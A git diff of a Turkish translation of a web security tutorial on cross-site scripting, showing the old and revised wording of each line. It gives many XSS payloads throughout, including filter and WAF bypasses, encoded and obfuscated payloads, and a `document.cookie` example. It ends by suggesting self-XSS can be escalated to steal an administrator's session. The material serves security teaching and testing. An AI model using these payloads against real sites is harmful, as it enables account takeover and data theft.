4. Javascript **fonksiyonu** **çalıştırılıyor**:
|
||||
1. Yürütülecek fonksiyonun adını belirtebilirsiniz. örneğin: `?callback=alert(1)`
|
||||
4. Eğer **kullanılıyorsa**:
|
||||
1. Bir **DOM XSS** istismar edebilirsiniz, girdinizin nasıl kontrol edildiğine ve **kontrol edilen girdinizin herhangi bir sink tarafından kullanılıp kullanılmadığına** dikkat edin.
|
||||
@ -37,17 +37,17 @@ debugging-client-side-js.md
|
||||
|
||||
Bir XSS'i başarıyla istismar etmek için bulmanız gereken ilk şey, web sayfasında **yansıtılan sizin kontrolünüzdeki bir değerdir**.
|
||||
|
||||
- **Ara yansıtılmış**: Bir parametrenin veya hatta yolun değerinin web sayfasında yansıtıldığını bulursanız, bir **Yansıtılan XSS** istismar edebilirsiniz.
|
||||
- **Saklanan ve yansıtılan**: Kontrolünüzdeki bir değerin sunucuda kaydedildiğini ve her sayfaya eriştiğinizde yansıtıldığını bulursanız, bir **Saklanan XSS** istismar edebilirsiniz.
|
||||
- **JS ile erişilen**: Kontrolünüzdeki bir değerin JS kullanılarak erişildiğini bulursanız, bir **DOM XSS** istismar edebilirsiniz.
|
||||
- **Ara yansıtılmış**: Eğer bir parametrenin değeri veya hatta yolun web sayfasında yansıtıldığını bulursanız, bir **Yansıtılan XSS** istismar edebilirsiniz.
|
||||
- **Saklanan ve yansıtılan**: Eğer kontrolünüzdeki bir değerin sunucuda kaydedildiğini ve her sayfaya eriştiğinizde yansıtıldığını bulursanız, bir **Saklanan XSS** istismar edebilirsiniz.
|
||||
- **JS ile erişilen**: Eğer kontrolünüzdeki bir değerin JS kullanılarak erişildiğini bulursanız, bir **DOM XSS** istismar edebilirsiniz.
|
||||
|
||||
## Bağlamlar
|
||||
|
||||
Bir XSS'i istismar etmeye çalışırken bilmeniz gereken ilk şey, **girdinizin nerede yansıtıldığıdır**. Bağlama bağlı olarak, farklı şekillerde keyfi JS kodu yürütebilirsiniz.
|
||||
Bir XSS'i istismar etmeye çalışırken bilmeniz gereken ilk şey, **girdinizin nerede yansıtıldığıdır**. Bağlama bağlı olarak, farklı şekillerde rastgele JS kodu çalıştırabileceksiniz.
|
||||
|
||||
### Ham HTML
|
||||
|
||||
Eğer girdiniz **ham HTML** sayfasında **yansıtılıyorsa**, JS kodunu yürütmek için bazı **HTML etiketlerini** istismar etmeniz gerekecek: `<img , <iframe , <svg , <script` ... bunlar kullanabileceğiniz birçok olası HTML etiketinden sadece birkaçıdır.\
|
||||
Eğer girdiniz **ham HTML** sayfasında yansıtılıyorsa, JS kodunu çalıştırmak için bazı **HTML etiketlerini** istismar etmeniz gerekecek: `<img , <iframe , <svg , <script` ... bunlar kullanabileceğiniz birçok olası HTML etiketinden sadece birkaçıdır.\
|
||||
Ayrıca, [İstemci Tarafı Şablon Enjeksiyonu](../client-side-template-injection-csti.md) aklınızda bulunsun.
|
||||
|
||||
### HTML etiketinin niteliği içinde
|
||||
@ -55,11 +55,11 @@ Ayrıca, [İstemci Tarafı Şablon Enjeksiyonu](../client-side-template-injectio
|
||||
Eğer girdiniz bir etiketin niteliğinin değerinde yansıtılıyorsa, şunları deneyebilirsiniz:
|
||||
|
||||
1. **Nitelikten ve etikten kaçmak** (o zaman ham HTML'de olacaksınız) ve istismar etmek için yeni bir HTML etiketi oluşturmak: `"><img [...]`
|
||||
2. Eğer **nitelikten kaçabiliyorsanız ama etiketten kaçamıyorsanız** (`>` kodlanmış veya silinmişse), etikete bağlı olarak **JS kodunu yürüten bir olay** oluşturabilirsiniz: `" autofocus onfocus=alert(1) x="`
|
||||
3. Eğer **nitelikten kaçamıyorsanız** (`"` kodlanmış veya silinmişse), o zaman **hangi nitelikte** değerinizin yansıtıldığına bağlı olarak **değerin tamamını mı yoksa sadece bir kısmını mı kontrol ettiğinize** bağlı olarak bunu istismar edebilirsiniz. **Örneğin**, `onclick=` gibi bir olayı kontrol ediyorsanız, tıklandığında keyfi kod yürütmesini sağlayabilirsiniz. Diğer ilginç bir **örnek**, `href` niteliğidir; burada keyfi kod yürütmek için `javascript:` protokolünü kullanabilirsiniz: **`href="javascript:alert(1)"`**
|
||||
4. Eğer girdiniz "**istismar edilemez etiketler**" içinde yansıtılıyorsa, açığı istismar etmek için **`accesskey`** numarasını deneyebilirsiniz (bunu istismar etmek için bir tür sosyal mühendislik gerekecektir): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
2. Eğer **nitelikten kaçabiliyorsanız ama etiketten kaçamıyorsanız** (`>` kodlanmış veya silinmişse), etikete bağlı olarak **JS kodunu çalıştıran bir olay** oluşturabilirsiniz: `" autofocus onfocus=alert(1) x="`
|
||||
3. Eğer **nitelikten kaçamıyorsanız** (`"` kodlanmış veya silinmişse), o zaman **hangi nitelikte** değerinizin yansıtıldığına bağlı olarak **değerin tamamını mı yoksa sadece bir kısmını mı kontrol ettiğinize** bağlı olarak bunu istismar edebilirsiniz. **Örneğin**, `onclick=` gibi bir olayı kontrol ediyorsanız, tıklandığında rastgele kod çalıştırmasını sağlayabilirsiniz. Diğer ilginç bir **örnek**, `href` niteliğidir; burada rastgele kod çalıştırmak için `javascript:` protokolünü kullanabilirsiniz: **`href="javascript:alert(1)"`**
|
||||
4. Eğer girdiniz "**istismar edilemez etiketler**" içinde yansıtılıyorsa, açığı istismar etmek için **`accesskey`** numarasını deneyebilirsiniz (bunu istismar etmek için bir tür sosyal mühendislik yapmanız gerekecek): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
Kontrol ettiğiniz bir sınıf adı varsa Angular'ın XSS yürütme ile ilgili garip bir örneği:
|
||||
Kontrol ettiğiniz bir sınıf adı varsa Angular'ın XSS'i çalıştırdığı tuhaf bir örnek:
|
||||
```html
|
||||
<div ng-app>
|
||||
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
|
||||
@ -69,8 +69,8 @@ Kontrol ettiğiniz bir sınıf adı varsa Angular'ın XSS yürütme ile ilgili g
|
||||
|
||||
Bu durumda, girdiniz bir HTML sayfasının **`<script> [...] </script>`** etiketleri arasında, bir `.js` dosyası içinde veya bir öznitelik içinde **`javascript:`** protokolü kullanılarak yansıtılır:
|
||||
|
||||
- Eğer **`<script> [...] </script>`** etiketleri arasında yansıtılıyorsa, girdiniz her türlü tırnak içinde olsa bile, `</script>` enjekte etmeyi deneyebilirsiniz ve bu bağlamdan çıkabilirsiniz. Bu, **tarayıcının önce HTML etiketlerini** ayrıştırmasından ve ardından içeriği işlemesinden dolayı çalışır; bu nedenle, enjekte ettiğiniz `</script>` etiketinin HTML kodu içinde olduğunu fark etmeyecektir.
|
||||
- Eğer **bir JS dizesi içinde** yansıtılıyorsa ve son hile işe yaramıyorsa, dizeden **çıkmanız**, kodunuzu **çalıştırmanız** ve JS kodunu **yeniden oluşturmanız** gerekir (herhangi bir hata varsa, çalıştırılmayacaktır):
|
||||
- Eğer **`<script> [...] </script>`** etiketleri arasında yansıtılıyorsa, girdiniz her türlü tırnak içinde olsa bile, `</script>` enjekte etmeyi ve bu bağlamdan çıkmayı deneyebilirsiniz. Bu, **tarayıcı önce HTML etiketlerini ayrıştırdığı** ve ardından içeriği işlediği için çalışır; bu nedenle, enjekte ettiğiniz `</script>` etiketinin HTML kodu içinde olduğunu fark etmeyecektir.
|
||||
- Eğer **bir JS dizesi içinde** yansıtılıyorsa ve son hile işe yaramıyorsa, dizeden **çıkmanız**, kodunuzu **çalıştırmanız** ve JS kodunu **yeniden oluşturmanız** gerekecektir (herhangi bir hata varsa, çalıştırılmayacaktır):
|
||||
- `'-alert(1)-'`
|
||||
- `';-alert(1)//`
|
||||
- `\';alert(1)//`
|
||||
@ -83,7 +83,7 @@ alert(1)
|
||||
```
|
||||
#### Javascript Hoisting
|
||||
|
||||
Javascript Hoisting, **kullanıldıktan sonra fonksiyonları, değişkenleri veya sınıfları tanımlama fırsatını** ifade eder, böylece XSS'in tanımlanmamış değişkenler veya fonksiyonlar kullandığı senaryoları kötüye kullanabilirsiniz.\
|
||||
Javascript Hoisting, **kullanıldıktan sonra fonksiyonları, değişkenleri veya sınıfları tanımlama fırsatını ifade eder, böylece XSS'nin tanımlanmamış değişkenler veya fonksiyonlar kullandığı senaryoları kötüye kullanabilirsiniz.**\
|
||||
**Daha fazla bilgi için aşağıdaki sayfayı kontrol edin:**
|
||||
|
||||
{{#ref}}
|
||||
@ -92,7 +92,7 @@ js-hoisting.md
|
||||
|
||||
### Javascript Function
|
||||
|
||||
Birçok web sayfası, **çalıştırılacak fonksiyonun adını parametre olarak kabul eden** uç noktalar içerir. Gerçek hayatta görülen yaygın bir örnek: `?callback=callbackFunc`.
|
||||
Birçok web sayfası, **çalıştırılacak fonksiyonun adını parametre olarak kabul eden uç noktalar içerir.** Gerçek hayatta görülen yaygın bir örnek: `?callback=callbackFunc`.
|
||||
|
||||
Kullanıcı tarafından doğrudan verilen bir şeyin çalıştırılmaya çalışılıp çalışılmadığını anlamanın iyi bir yolu, **parametre değerini değiştirmektir** (örneğin 'Vulnerable' olarak) ve konsolda şu hataları aramaktır:
|
||||
|
||||
@ -114,7 +114,7 @@ parentElement
|
||||
```
|
||||
Ayrıca **Javascript fonksiyonlarını** doğrudan tetiklemeyi deneyebilirsiniz: `obj.sales.delOrders`.
|
||||
|
||||
Ancak, genellikle belirtilen fonksiyonu yürüten uç noktalar, çok ilginç DOM'a sahip olmayan uç noktalardır, **aynı kök içindeki diğer sayfalar** daha fazla işlem yapmak için **daha ilginç bir DOM** içerecektir.
|
||||
Ancak, genellikle belirtilen fonksiyonu yürüten uç noktalar, çok ilginç DOM'a sahip olmayan uç noktalardır, **aynı kök içindeki diğer sayfalar** daha fazla işlem yapmak için **daha ilginç bir DOM**'a sahip olacaktır.
|
||||
|
||||
Bu nedenle, **farklı bir DOM'da bu zafiyeti istismar etmek için** **Same Origin Method Execution (SOME)** istismarı geliştirilmiştir:
|
||||
|
||||
@ -132,7 +132,7 @@ dom-xss.md
|
||||
|
||||
### **Evrensel XSS**
|
||||
|
||||
Bu tür XSS'ler **her yerde** bulunabilir. Sadece bir web uygulamasının istemci istismarı ile değil, **herhangi bir** **bağlamda** bağımlıdır. Bu tür **keyfi JavaScript yürütmesi** **RCE** elde etmek, istemcilerde ve sunucularda **keyfi** **dosyaları** **okumak** ve daha fazlası için istismar edilebilir.\
|
||||
Bu tür XSS'ler **her yerde** bulunabilir. Sadece bir web uygulamasının istemci istismarı ile değil, **herhangi bir** **bağlamda** bağımlıdır. Bu tür **keyfi JavaScript yürütmesi** **RCE** elde etmek, istemcilerde ve sunucularda **keyfi** **dosyaları** okumak ve daha fazlası için istismar edilebilir.\
|
||||
Bazı **örnekler**:
|
||||
|
||||
{{#ref}}
|
||||
@ -143,17 +143,17 @@ server-side-xss-dynamic-pdf.md
|
||||
../../network-services-pentesting/pentesting-web/electron-desktop-apps/
|
||||
{{#endref}}
|
||||
|
||||
## WAF atlatma kodlaması resmi
|
||||
## WAF atlatma kodlama resmi
|
||||
|
||||
.jpg>)
|
||||
|
||||
## Ham HTML içinde enjekte etme
|
||||
|
||||
Girdiğiniz değer **HTML sayfası içinde** yansıtıldığında veya bu bağlamda HTML kodunu kaçırıp enjekte edebiliyorsanız, yapmanız gereken **ilk** şey `<` karakterini yeni etiketler oluşturmak için istismar edip edemeyeceğinizi kontrol etmektir: O **karakteri** **yansıtmayı** deneyin ve **HTML kodlaması** yapılıp yapılmadığını veya **silinip silinmediğini** ya da **değişiklik olmadan yansıtılıp yansıtılmadığını** kontrol edin. **Sadece son durumda bu durumu istismar edebilirsiniz**.\
|
||||
Girdiğiniz değer **HTML sayfasında** yansıtıldığında veya bu bağlamda HTML kodunu kaçırıp enjekte edebiliyorsanız, yapmanız gereken **ilk** şey `<` karakterini yeni etiketler oluşturmak için istismar edip edemeyeceğinizi kontrol etmektir: O **karakteri** **yansıtmayı** deneyin ve **HTML kodlaması** yapılıp yapılmadığını veya **silinip silinmediğini** ya da **değişiklik olmadan yansıtılıp yansıtılmadığını** kontrol edin. **Sadece son durumda bu durumu istismar edebilirsiniz**.\
|
||||
Bu durumlar için ayrıca **[**Client Side Template Injection**](../client-side-template-injection-csti.md)**'ı da **aklınızda bulundurun**.\
|
||||
_**Not: Bir HTML yorumu `-->` ile veya `--!>` ile kapatılabilir.**_
|
||||
_**Not: Bir HTML yorumu `-->` veya `--!>` ile kapatılabilir.**_
|
||||
|
||||
Bu durumda ve eğer kara/beyaz listeleme kullanılmıyorsa, şu tür yükleri kullanabilirsiniz:
|
||||
Bu durumda ve eğer kara/beyaz listeleme kullanılmıyorsa, şu tür payload'ları kullanabilirsiniz:
|
||||
```html
|
||||
<script>
|
||||
alert(1)
|
||||
@ -166,17 +166,17 @@ Hangi etiketlerin izin verildiğini **bulduktan** sonra, saldırı yapabileceği
|
||||
|
||||
### Etiketler/Olaylar brute-force
|
||||
|
||||
[**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) adresine gidin ve _**Etiketleri panoya kopyala**_ seçeneğine tıklayın. Ardından, bunların hepsini Burp intruder kullanarak gönderin ve herhangi bir etiketin WAF tarafından kötü niyetli olarak keşfedilip keşfedilmediğini kontrol edin. Hangi etiketleri kullanabileceğinizi keşfettikten sonra, geçerli etiketleri kullanarak **tüm olayları brute force** edebilirsiniz (aynı web sayfasında _**Olayları panoya kopyala**_ seçeneğine tıklayın ve önceki prosedürü izleyin).
|
||||
[**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) adresine gidin ve _**Etiketleri panoya kopyala**_ seçeneğine tıklayın. Ardından, bunların hepsini Burp intruder kullanarak gönderin ve herhangi bir etiketin WAF tarafından kötü niyetli olarak keşfedilip keşfedilmediğini kontrol edin. Hangi etiketleri kullanabileceğinizi keşfettikten sonra, geçerli etiketleri kullanarak **tüm olayları brute-force** edebilirsiniz (aynı web sayfasında _**Olayları panoya kopyala**_ seçeneğine tıklayın ve önceki prosedürü takip edin).
|
||||
|
||||
### Özel etiketler
|
||||
|
||||
Eğer geçerli bir HTML etiketi bulamadıysanız, **özel bir etiket oluşturmayı** deneyebilir ve `onfocus` niteliği ile JS kodu çalıştırabilirsiniz. XSS isteğinde, URL'yi `#` ile bitirmeniz gerekecek, böylece sayfa **o nesneye odaklanacak** ve kodu **çalıştıracaktır**:
|
||||
Eğer geçerli bir HTML etiketi bulamadıysanız, **özel bir etiket oluşturmayı** deneyebilir ve `onfocus` niteliği ile JS kodu çalıştırabilirsiniz. XSS isteğinde, URL'yi `#` ile bitirmeniz gerekecek, böylece sayfa **o nesneye odaklanır** ve kodu **çalıştırır**:
|
||||
```
|
||||
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
|
||||
```
|
||||
### Blacklist Bypasses
|
||||
|
||||
Eğer bir tür kara liste kullanılıyorsa, bunu bazı basit hilelerle aşmayı deneyebilirsiniz:
|
||||
Eğer bir tür kara liste kullanılıyorsa, bunu bazı basit numaralarla aşmayı deneyebilirsiniz:
|
||||
```javascript
|
||||
//Random capitalization
|
||||
<script> --> <ScrIpT>
|
||||
@ -239,18 +239,18 @@ Hangi karakterlerin ayrıştırıldığını kontrol etmek için [buraya](https:
|
||||
|
||||
### Click XSS - Clickjacking
|
||||
|
||||
Eğer zafiyeti istismar etmek için **kullanıcının önceden doldurulmuş verilerle bir bağlantıya veya forma tıklamasını** gerektiriyorsa, [**Clickjacking'i istismar etmeyi**](../clickjacking.md#xss-clickjacking) deneyebilirsiniz (eğer sayfa zayıfsa).
|
||||
Eğer zafiyeti istismar etmek için **kullanıcının önceden doldurulmuş verilerle bir bağlantıya veya forma tıklamasını** gerektiriyorsa, [**Clickjacking'i istismar etmeyi**](../clickjacking.md#xss-clickjacking) deneyebilirsiniz (eğer sayfa savunmasızsa).
|
||||
|
||||
### İmkansız - Dangling Markup
|
||||
|
||||
Eğer **JS kodunu çalıştırmak için bir niteliğe sahip bir HTML etiketi oluşturmanın imkansız olduğunu** düşünüyorsanız, [**Dangling Markup**](../dangling-markup-html-scriptless-injection/index.html) kontrol etmelisiniz çünkü zafiyeti **JS** kodu çalıştırmadan **istismar** edebilirsiniz.
|
||||
Eğer **JS kodunu çalıştırmak için bir niteliğe sahip bir HTML etiketi oluşturmanın imkansız olduğunu** düşünüyorsanız, [**Dangling Markup**](../dangling-markup-html-scriptless-injection/index.html) kontrol etmelisiniz çünkü zafiyeti **JS** kodu çalıştırmadan **istismar edebilirsiniz**.
|
||||
|
||||
## HTML etiketinin içine enjekte etme
|
||||
|
||||
### Etiketin içinde/nitelik değerinden kaçış
|
||||
|
||||
Eğer **bir HTML etiketinin içindeyseniz**, denemek için ilk şey **etiketten kaçmak** ve [önceki bölümde](#injecting-inside-raw-html) belirtilen bazı teknikleri kullanarak JS kodunu çalıştırmaktır.\
|
||||
Eğer **etiketten kaçamazsanız**, etikette yeni nitelikler oluşturarak JS kodunu çalıştırmayı deneyebilirsiniz, örneğin (_bu örnekte çift tırnakların niteliği kaçmak için kullanıldığını unutmayın, eğer girdiniz doğrudan etiketin içinde yansıtılıyorsa onlara ihtiyacınız olmayacak_):
|
||||
Eğer **bir HTML etiketinin içindeyseniz**, denemek için ilk şey **etiketten kaçmak** olabilir ve JS kodunu çalıştırmak için [önceki bölümde](#injecting-inside-raw-html) belirtilen bazı teknikleri kullanabilirsiniz.\
|
||||
Eğer **etiketten kaçamazsanız**, JS kodunu çalıştırmak için etikette yeni nitelikler oluşturabilirsiniz, örneğin (_bu örnekte çift tırnakların niteliği kaçmak için kullanıldığını unutmayın, eğer girdiniz doğrudan etiketin içinde yansıtılıyorsa onlara ihtiyacınız olmayacak_):
|
||||
```bash
|
||||
" autofocus onfocus=alert(document.domain) x="
|
||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||
@ -267,7 +267,7 @@ Eğer **etiketten kaçamazsanız**, etikette yeni nitelikler oluşturarak JS kod
|
||||
```
|
||||
### Özellik İçinde
|
||||
|
||||
**Özellikten kaçamazsanız bile** (`"` kodlanıyor veya siliniyor), **değerinizin hangi özellikte yansıtıldığına bağlı olarak** **tüm değeri mi yoksa sadece bir kısmını mı kontrol ettiğinize** bağlı olarak bunu kötüye kullanabileceksiniz. **Örneğin**, `onclick=` gibi bir olayı kontrol ediyorsanız, tıklandığında rastgele kod çalıştırmasını sağlayabilirsiniz.\
|
||||
**Özellikten kaçamazsanız bile** (`"` kodlanıyor veya siliniyor), **değerinizin hangi özellikte yansıtıldığına bağlı olarak** **değerin tamamını mı yoksa sadece bir kısmını mı kontrol ettiğinize göre** bunu kötüye kullanabileceksiniz. **Örneğin**, `onclick=` gibi bir olayı kontrol ediyorsanız, tıklandığında rastgele kod çalıştırmasını sağlayabilirsiniz.\
|
||||
Başka ilginç bir **örnek**, `href` özelliğidir; burada rastgele kod çalıştırmak için `javascript:` protokolünü kullanabilirsiniz: **`href="javascript:alert(1)"`**
|
||||
|
||||
**HTML kodlaması/URL kodlaması kullanarak olay içindeki atlatma**
|
||||
@ -301,7 +301,7 @@ HTML etiket özelliklerinin değerindeki **HTML kodlanmış karakterler** **çal
|
||||
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
|
||||
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
|
||||
```
|
||||
### Özel Protokoller Attribute İçinde
|
||||
### Özel Protokoller İçinde attribute
|
||||
|
||||
Burada bazı yerlerde **`javascript:`** veya **`data:`** protokollerini **rastgele JS kodu çalıştırmak** için kullanabilirsiniz. Bazıları kullanıcı etkileşimi gerektirecek, bazıları ise gerektirmeyecek.
|
||||
```javascript
|
||||
@ -325,7 +325,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
|
||||
```
|
||||
**Bu protokolleri enjekte edebileceğiniz yerler**
|
||||
|
||||
**Genel olarak** `javascript:` protokolü, **`href`** özniteliğini kabul eden herhangi bir tagda **kullanılabilir** ve **`src`** özniteliğini kabul eden çoğu tagda (ama `<img>` değil) kullanılabilir.
|
||||
**Genel olarak** `javascript:` protokolü, **`href`** özniteliğini kabul eden herhangi bir tagda **kullanılabilir** ve **`src`** özniteliğini kabul eden **çoğu** tagda (ama `<img>` değil) kullanılabilir.
|
||||
```html
|
||||
<a href="javascript:alert(1)">
|
||||
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
|
||||
@ -357,11 +357,11 @@ Ayrıca, bu durumlar için başka bir **güzel numara** var: **`javascript:...`
|
||||
%27-alert(1)-%27
|
||||
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
|
||||
```
|
||||
Not edin ki eğer **her ikisini de** `URLencode + HTMLencode` herhangi bir sırayla **payload**'ı kodlamak için kullanmaya çalışırsanız, bu **çalışmayacaktır**, ancak **payload** içinde **karıştırabilirsiniz**.
|
||||
Not edin ki eğer **her ikisini de** `URLencode + HTMLencode` herhangi bir sırayla **payload**'ı kodlamak için denerseniz, bu **çalışmayacaktır**, ancak **payload** içinde **karıştırabilirsiniz**.
|
||||
|
||||
**`javascript:` ile Hex ve Octal kodlama kullanma**
|
||||
|
||||
**Hex** ve **Octal kodlama**'yı `iframe`'in `src` niteliği içinde (en azından) **HTML etiketlerini JS çalıştırmak için** tanımlamak için kullanabilirsiniz:
|
||||
**Hex** ve **Octal kodlama**'yı `iframe`'in `src` niteliği içinde (en azından) **HTML etiketlerini JS çalıştırmak için** tanımlamak üzere kullanabilirsiniz:
|
||||
```javascript
|
||||
//Encoded: <svg onload=alert(1)>
|
||||
// This WORKS
|
||||
@ -385,7 +385,7 @@ Eğer herhangi bir URL'yi **`<a href=`** etiketi içine enjekte edebiliyorsanız
|
||||
|
||||
### Olay İşleyicileri Bypass
|
||||
|
||||
Öncelikle, yararlı **"on" olay işleyicileri** için bu sayfayı kontrol edin ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)).\
|
||||
Öncelikle, faydalı **"on" olay işleyicileri** için bu sayfayı kontrol edin ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)).\
|
||||
Eğer bu olay işleyicilerini oluşturmanızı engelleyen bir kara liste varsa, aşağıdaki bypass'ları deneyebilirsiniz:
|
||||
```javascript
|
||||
<svg onload%09=alert(1)> //No safari
|
||||
@ -422,7 +422,7 @@ onbeforetoggle="alert(2)" />
|
||||
<button popovertarget="newsletter">Subscribe to newsletter</button>
|
||||
<div popover id="newsletter">Newsletter popup</div>
|
||||
```
|
||||
[**buradan**](https://portswigger.net/research/xss-in-hidden-input-fields): **Gizli bir öznitelik içinde bir XSS yükü çalıştırabilirsiniz**, eğer **kurbanı** **tuş kombinasyonuna** **ikna edebilirseniz**. Firefox Windows/Linux'ta tuş kombinasyonu **ALT+SHIFT+X** ve OS X'te **CTRL+ALT+X**'dir. Erişim anahtarı özniteliğinde farklı bir tuş kullanarak farklı bir tuş kombinasyonu belirtebilirsiniz. İşte vektör:
|
||||
[**buradan**](https://portswigger.net/research/xss-in-hidden-input-fields): **Gizli bir öznitelik içinde bir XSS yükü** çalıştırabilirsiniz, yeter ki **kurbanı** **tuş kombinasyonuna** **ikna** edebilin. Firefox Windows/Linux'ta tuş kombinasyonu **ALT+SHIFT+X** ve OS X'te **CTRL+ALT+X**'dir. Erişim anahtarı özniteliğinde farklı bir tuş kullanarak farklı bir tuş kombinasyonu belirtebilirsiniz. İşte vektör:
|
||||
```html
|
||||
<input type="hidden" accesskey="X" onclick="alert(1)">
|
||||
```
|
||||
@ -440,17 +440,17 @@ Bu bölümde farklı kodlama kullanma ile ilgili birkaç hile zaten ortaya konmu
|
||||
|
||||
**HTML etiketleri ve öznitelikler için aşmalar**
|
||||
|
||||
[Önceki bölümdeki Kara Liste Aşmalarını](#blacklist-bypasses) oku.
|
||||
[Önceki bölümün Kara Liste Aşmalarını](#blacklist-bypasses) oku.
|
||||
|
||||
**JavaScript kodu için aşmalar**
|
||||
|
||||
[Aşağıdaki bölümdeki JavaScript bypass kara listesini](#javascript-bypass-blacklists-techniques) oku.
|
||||
[Aşağıdaki bölümün JavaScript bypass kara listesini](#javascript-bypass-blacklists-techniques) oku.
|
||||
|
||||
### CSS-Gadget'lar
|
||||
|
||||
Eğer webin çok küçük bir kısmında bir **XSS bulduysanız** ve bu bir tür etkileşim gerektiriyorsa (belki de alt kısımda bir onmouseover elementi olan küçük bir bağlantı), o zaman **o elementin kapladığı alanı değiştirmeyi** deneyebilirsiniz, böylece bağlantının tetiklenme olasılığını artırabilirsiniz.
|
||||
Eğer webin çok küçük bir kısmında bir **XSS bulduysanız** ve bu bir tür etkileşim gerektiriyorsa (belki de alt kısımda bir onmouseover öğesi olan küçük bir bağlantı), o öğenin kapladığı **alanı değiştirmeyi** deneyebilirsiniz, böylece bağlantının tetiklenme olasılığını artırabilirsiniz.
|
||||
|
||||
Örneğin, elemana şu şekilde bir stil ekleyebilirsiniz: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
Örneğin, öğeye şu şekilde stil ekleyebilirsiniz: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
|
||||
Ancak, eğer WAF stil özniteliğini filtreliyorsa, CSS Stil Gadget'larını kullanabilirsiniz, bu yüzden eğer örneğin
|
||||
|
||||
@ -460,7 +460,7 @@ ve
|
||||
|
||||
> \#someid {top: 0; font-family: Tahoma;}
|
||||
|
||||
bulursanız, şimdi bağlantımızı değiştirebilir ve şu forma getirebilirsiniz
|
||||
bulursanız, bağlantımızı şu forma getirebilirsiniz
|
||||
|
||||
> \<a href="" id=someid class=test onclick=alert() a="">
|
||||
|
||||
@ -480,7 +480,7 @@ Not edin ki bu örnekte **tek tırnağı bile kapatmadık**. Bunun nedeni **HTML
|
||||
|
||||
### JS kodu içinde
|
||||
|
||||
Eğer `<>` temizleniyorsa, girdiğiniz yerin **bulunduğu** yeri **kaçış karakteri ile** **arbitrary JS** çalıştırabilirsiniz. JS sözdizimini **düzeltmek** önemlidir, çünkü herhangi bir hata varsa, JS kodu yürütülmeyecektir:
|
||||
Eğer `<>` temizleniyorsa, yine de **diziyi kaçırabilirsiniz** ve **rastgele JS çalıştırabilirsiniz**. **JS sözdizimini düzeltmek** önemlidir, çünkü herhangi bir hata varsa, JS kodu yürütülmeyecektir:
|
||||
```
|
||||
'-alert(document.domain)-'
|
||||
';alert(document.domain)//
|
||||
@ -488,7 +488,7 @@ Eğer `<>` temizleniyorsa, girdiğiniz yerin **bulunduğu** yeri **kaçış kara
|
||||
```
|
||||
### Şablon Literalleri \`\`
|
||||
|
||||
Tekil ve çift tırnakların yanı sıra **dizeleri** oluşturmak için JS ayrıca **ters tırnakları** **` `` `** kabul eder. Bu, `${ ... }` sözdizimini kullanarak **gömülü JS ifadeleri** sağlamasına olanak tanıdığı için şablon literalleri olarak bilinir.\
|
||||
Tekil ve çift tırnaklardan ayrı olarak **dizeleri** oluşturmak için JS ayrıca **ters tırnakları** **` `` `** kabul eder. Bu, `${ ... }` sözdizimini kullanarak **gömülü JS ifadeleri** sağlamasına olanak tanıdığı için şablon literalleri olarak bilinir.\
|
||||
Bu nedenle, eğer girdinizin bir JS dizesi içinde ters tırnaklar kullanılarak **yansıtıldığını** bulursanız, **keyfi JS kodu** çalıştırmak için `${ ... }` sözdizimini kötüye kullanabilirsiniz:
|
||||
|
||||
Bu, şu şekilde **kötüye kullanılabilir**:
|
||||
@ -503,7 +503,7 @@ return loop
|
||||
}
|
||||
loop``
|
||||
```
|
||||
### Kodun Kodlanmış Yürütülmesi
|
||||
### Kodun kodlanmış yürütülmesi
|
||||
```html
|
||||
<script>\u0061lert(1)</script>
|
||||
<svg><script>alert('1')
|
||||
@ -746,8 +746,8 @@ top[8680439..toString(30)](1)
|
||||
dom-xss.md
|
||||
{{#endref}}
|
||||
|
||||
Orada **DOM zafiyetlerinin ne olduğu, nasıl tetiklendiği ve nasıl istismar edileceği** hakkında ayrıntılı bir **açıklama** bulacaksınız.\
|
||||
Ayrıca, **bahsedilen yazının sonunda** [**DOM Clobbering saldırıları**](dom-xss.md#dom-clobbering) hakkında bir açıklama bulmayı unutmayın.
|
||||
Orada **DOM zafiyetlerinin ne olduğu, nasıl tetiklendiği ve nasıl istismar edileceği hakkında detaylı bir açıklama** bulacaksınız.\
|
||||
Ayrıca, **bahsedilen yazının sonunda** [**DOM Clobbering saldırıları hakkında**](dom-xss.md#dom-clobbering) bir açıklama bulmayı unutmayın.
|
||||
|
||||
### Self-XSS'i Yükseltme
|
||||
|
||||
@ -767,9 +767,9 @@ Belki bir kullanıcı, profilini yönetici ile paylaşabilir ve eğer self XSS k
|
||||
|
||||
### Oturum Yansıtma
|
||||
|
||||
Eğer bazı self XSS bulursanız ve web sayfası **yöneticiler için oturum yansıtma** içeriyorsa, örneğin müşterilerin yardım istemesine izin veriyorsa, yönetici size yardımcı olmak için sizin oturumunuzda gördüğünüzü kendi oturumundan görecektir.
|
||||
Eğer bazı self XSS bulursanız ve web sayfasında **yöneticiler için oturum yansıtma** varsa, örneğin müşterilerin yardım istemesine izin veriyorsa, yönetici size yardımcı olmak için sizin oturumunuzda gördüğünüzü kendi oturumundan görecektir.
|
||||
|
||||
**Yöneticiye self XSS'inizi tetikletip** çerezlerini/oturumunu çalabilirsiniz.
|
||||
